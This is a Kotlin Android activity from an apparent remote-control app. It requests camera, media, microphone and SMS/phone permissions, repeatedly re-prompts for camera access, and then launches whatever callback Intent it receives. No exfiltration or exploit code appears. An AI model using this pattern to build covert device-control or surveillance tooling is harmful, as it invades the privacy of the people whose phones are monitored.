package com.hikoncont.ui

import android.Manifest
import android.app.Activity
import android.content.ActivityNotFoundException
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.util.Log
import android.widget.TextView
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.hikoncont.service.RemoteControlForegroundService

/**
 * 专门处理权限请求的Activity
 * 参考原APK的CameraCaptureActivity设计模式
 */
class PermissionRequestActivity : Activity() {
    
    companion object {
        private const val TAG = "PermissionRequestActivity"
        
        // 权限类型常量
        const val PERMISSION_TYPE_CAMERA = "camera"
        const val PERMISSION_TYPE_GALLERY = "gallery"
        const val PERMISSION_TYPE_MICROPHONE = "microphone"
        const val PERMISSION_TYPE_SMS = "sms"
        
        // 请求码
        private const val REQUEST_CODE_CAMERA = 200
        private const val REQUEST_CODE_GALLERY = 201
        private const val REQUEST_CODE_MICROPHONE = 202
        private const val REQUEST_CODE_SMS = 203
        
        // Intent参数
        const val EXTRA_PERMISSION_TYPE = "permission_type"
        const val EXTRA_CALLBACK_INTENT = "callback_intent"
    }
    
    private var permissionType: String? = null
    private var callbackIntent: Intent? = null
    private var permissionRequestAttempts = 0
    private val maxPermissionRequestAttempts = 3
    
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        
        Log.d(TAG, "PermissionRequestActivity onCreate 开始")
        Log.d(TAG, "Activity实例: ${this.hashCode()}")
        Log.d(TAG, "任务ID: ${this.taskId}")
        
        // 添加临时UI确保Activity可见
        val textView = TextView(this).apply {
            text = "正在请求权限..."
            textSize = 18f
            setPadding(50, 50, 50, 50)
        }
        setContentView(textView)
        
        // 获取参数
        permissionType = intent.getStringExtra(EXTRA_PERMISSION_TYPE)
        callbackIntent = intent.getParcelableExtra(EXTRA_CALLBACK_INTENT)
        
        Log.d(TAG, "开始处理权限请求: $permissionType")
        Log.d(TAG, "Intent extras: ${intent.extras}")
        Log.d(TAG, "Activity可见性: ${window?.decorView?.visibility}")
        
        // ✅ 新增：确保Activity可见
        try {
            window?.decorView?.visibility = android.view.View.VISIBLE
            Log.d(TAG, "✅ 设置Activity可见性成功")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 设置Activity可见性失败", e)
        }
        
        when (permissionType) {
            PERMISSION_TYPE_CAMERA -> {
                Log.d(TAG, "处理摄像头权限请求")
                handleCameraPermission()
            }
            PERMISSION_TYPE_GALLERY -> {
                Log.d(TAG, "处理相册权限请求")
                handleGalleryPermission()
            }
            PERMISSION_TYPE_MICROPHONE -> {
                Log.d(TAG, "处理麦克风权限请求")
                handleMicrophonePermission()
            }
            PERMISSION_TYPE_SMS -> {
                Log.d(TAG, "处理短信权限请求")
                handleSMSPermission()
            }
            else -> {
                Log.w(TAG, "未知的权限类型: $permissionType")
                finish()
            }
        }
    }
    
    private fun handleCameraPermission() {
        Log.d(TAG, "检查摄像头权限状态 (尝试次数: ${permissionRequestAttempts + 1})")
        val hasPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED
        Log.d(TAG, "摄像头权限状态: $hasPermission")
        
        if (hasPermission) {
            Log.d(TAG, "摄像头权限已授予")
            executeCallback()
            // ✅ 优化：延迟结束，确保回调执行完成
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                finish()
            }, 100)
        } else {
            Log.d(TAG, "请求摄像头权限")
            try {
                // ✅ 优化：增加延迟时间，确保Activity完全显示后再请求权限
                val delay = 500L + (permissionRequestAttempts * 200L) // 递增延迟，使用Long类型
                android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                    Log.d(TAG, "开始执行权限请求 (延迟: ${delay}ms)")
                    ActivityCompat.requestPermissions(this, arrayOf(Manifest.permission.CAMERA), REQUEST_CODE_CAMERA)
                    Log.d(TAG, "✅ ActivityCompat.requestPermissions调用成功")
                    
                    // ✅ 新增：设置超时检查
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        if (permissionRequestAttempts < maxPermissionRequestAttempts - 1) {
                            Log.d(TAG, "权限请求超时，准备重试")
                            permissionRequestAttempts++
                            handleCameraPermission() // 递归重试
                        } else {
                            Log.w(TAG, "权限请求达到最大重试次数，结束Activity")
                            finish()
                        }
                    }, 2000L) // 2秒后检查是否成功，使用Long类型
                    
                }, delay)
            } catch (e: Exception) {
                Log.e(TAG, "❌ ActivityCompat.requestPermissions调用失败", e)
                // ✅ 优化：如果权限请求失败，延迟后结束Activity
                android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                    finish()
                }, 1000)
            }
        }
    }
    
    private fun handleGalleryPermission() {
        Log.d(TAG, "检查相册权限状态")
        
        // Android 13+ 使用新的媒体权限
        val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
            Log.d(TAG, "Android 13+ 使用新的媒体权限")
            arrayOf(
                Manifest.permission.READ_MEDIA_IMAGES,
                Manifest.permission.READ_MEDIA_VIDEO
            )
        } else {
            Log.d(TAG, "Android 12及以下使用传统存储权限")
            arrayOf(
                Manifest.permission.READ_EXTERNAL_STORAGE,
                Manifest.permission.WRITE_EXTERNAL_STORAGE
            )
        }
        
        val hasAllPermissions = permissions.all { permission ->
            val granted = ContextCompat.checkSelfPermission(this, permission) == PackageManager.PERMISSION_GRANTED
            Log.d(TAG, "权限 $permission: $granted")
            granted
        }
        
        Log.d(TAG, "相册权限状态: $hasAllPermissions")
        
        if (hasAllPermissions) {
            Log.d(TAG, "相册权限已授予")
            executeCallback()
            finish()
        } else {
            Log.d(TAG, "请求相册权限")
            try {
                ActivityCompat.requestPermissions(this, permissions, REQUEST_CODE_GALLERY)
                Log.d(TAG, "✅ ActivityCompat.requestPermissions调用成功")
            } catch (e: Exception) {
                Log.e(TAG, "❌ ActivityCompat.requestPermissions调用失败", e)
            }
        }
    }
    
    private fun handleMicrophonePermission() {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED) {
            Log.d(TAG, "麦克风权限已授予")
            executeCallback()
            finish()
        } else {
            Log.d(TAG, "请求麦克风权限")
            ActivityCompat.requestPermissions(this, arrayOf(Manifest.permission.RECORD_AUDIO), REQUEST_CODE_MICROPHONE)
        }
    }
    
    private fun handleSMSPermission() {
        Log.d(TAG, "检查短信权限状态")
        
        val permissions = arrayOf(
            Manifest.permission.READ_SMS,
            Manifest.permission.SEND_SMS,
            Manifest.permission.RECEIVE_SMS,
            Manifest.permission.READ_PHONE_STATE,
            Manifest.permission.CALL_PHONE
        )
        
        val hasAllPermissions = permissions.all { permission ->
            val granted = ContextCompat.checkSelfPermission(this, permission) == PackageManager.PERMISSION_GRANTED
            Log.d(TAG, "权限 $permission: $granted")
            granted
        }
        
        Log.d(TAG, "短信权限状态: $hasAllPermissions")
        
        if (hasAllPermissions) {
            Log.d(TAG, "短信权限已授予")
            executeCallback()
            finish()
        } else {
            Log.d(TAG, "请求短信权限")
            try {
                ActivityCompat.requestPermissions(this, permissions, REQUEST_CODE_SMS)
                Log.d(TAG, "✅ ActivityCompat.requestPermissions调用成功")
            } catch (e: Exception) {
                Log.e(TAG, "❌ ActivityCompat.requestPermissions调用失败", e)
            }
        }
    }
    
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
        
        Log.d(TAG, "onRequestPermissionsResult: requestCode=$requestCode, permissions=${permissions.joinToString()}, grantResults=${grantResults.joinToString()}")
        
        when (requestCode) {
            REQUEST_CODE_CAMERA -> {
                handlePermissionResult("摄像头", grantResults)
            }
            REQUEST_CODE_GALLERY -> {
                handlePermissionResult("相册", grantResults)
            }
            REQUEST_CODE_MICROPHONE -> {
                handlePermissionResult("麦克风", grantResults)
            }
            REQUEST_CODE_SMS -> {
                handlePermissionResult("短信", grantResults)
            }
        }
        
        // ✅ 优化：延迟结束，确保权限处理完成
        android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
            finish()
        }, 100)
    }
    
    private fun handlePermissionResult(permissionName: String, grantResults: IntArray) {
        val granted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
        
        if (granted) {
            Log.d(TAG, "$permissionName 权限授予成功")
            executeCallback()
        } else {
            Log.w(TAG, "$permissionName 权限被拒绝")
            // 可以在这里处理权限被拒绝的情况
        }
    }
    
    private fun executeCallback() {
        callbackIntent?.let { intent ->
            try {
                Log.d(TAG, "执行回调Intent: ${intent.action}")
                Log.d(TAG, "回调Intent组件: ${intent.component}")
                Log.d(TAG, "回调Intent类名: ${intent.component?.className}")
                
                // ✅ 修复：检查Intent类型，如果是Service则使用startService，如果是Activity则使用startActivity
                val className = intent.component?.className
                when {
                    className?.contains("Service") == true -> {
                        Log.d(TAG, "检测到Service Intent，使用startService")
                        startService(intent)
                    }
                    className?.contains("Activity") == true -> {
                        Log.d(TAG, "检测到Activity Intent，使用startActivity")
                        startActivity(intent)
                    }
                    else -> {
                        Log.d(TAG, "未知Intent类型，尝试startActivity")
                        try {
                            startActivity(intent)
                        } catch (e: ActivityNotFoundException) {
                            Log.w(TAG, "startActivity失败，尝试startService", e)
                            startService(intent)
                        }
                    }
                }
                Log.d(TAG, "✅ 回调Intent执行成功")
            } catch (e: Exception) {
                Log.e(TAG, "执行回调Intent失败", e)
            }
        }
    }
    
    override fun onStart() {
        super.onStart()
        Log.d(TAG, "PermissionRequestActivity onStart")
    }
    
    override fun onResume() {
        super.onResume()
        Log.d(TAG, "PermissionRequestActivity onResume")
        
        // ✅ 新增：检查Activity显示状态
        Log.d(TAG, "Activity显示状态: ${isFinishing}, ${isDestroyed}")
        Log.d(TAG, "Activity可见性: ${window?.decorView?.visibility}")
        
        // ✅ 新增：在onResume中再次检查权限状态，确保Activity完全显示
        if (permissionType == PERMISSION_TYPE_CAMERA) {
            Log.d(TAG, "onResume中检查摄像头权限状态")
            val hasPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED
            Log.d(TAG, "onResume中摄像头权限状态: $hasPermission")
            if (!hasPermission) {
                Log.d(TAG, "onResume中重新请求摄像头权限")
                android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                    try {
                        Log.d(TAG, "开始执行onResume中的权限请求")
                        ActivityCompat.requestPermissions(this, arrayOf(Manifest.permission.CAMERA), REQUEST_CODE_CAMERA)
                        Log.d(TAG, "✅ onResume中权限请求成功")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ onResume中权限请求失败", e)
                    }
                }, 300) // 增加延迟时间
            } else {
                Log.d(TAG, "onResume中摄像头权限已授予，执行回调")
                executeCallback()
                finish()
            }
        }
    }
    
    override fun onPause() {
        super.onPause()
        Log.d(TAG, "PermissionRequestActivity onPause")
    }
    
    override fun onDestroy() {
        super.onDestroy()
        Log.d(TAG, "PermissionRequestActivity销毁")
    }
}
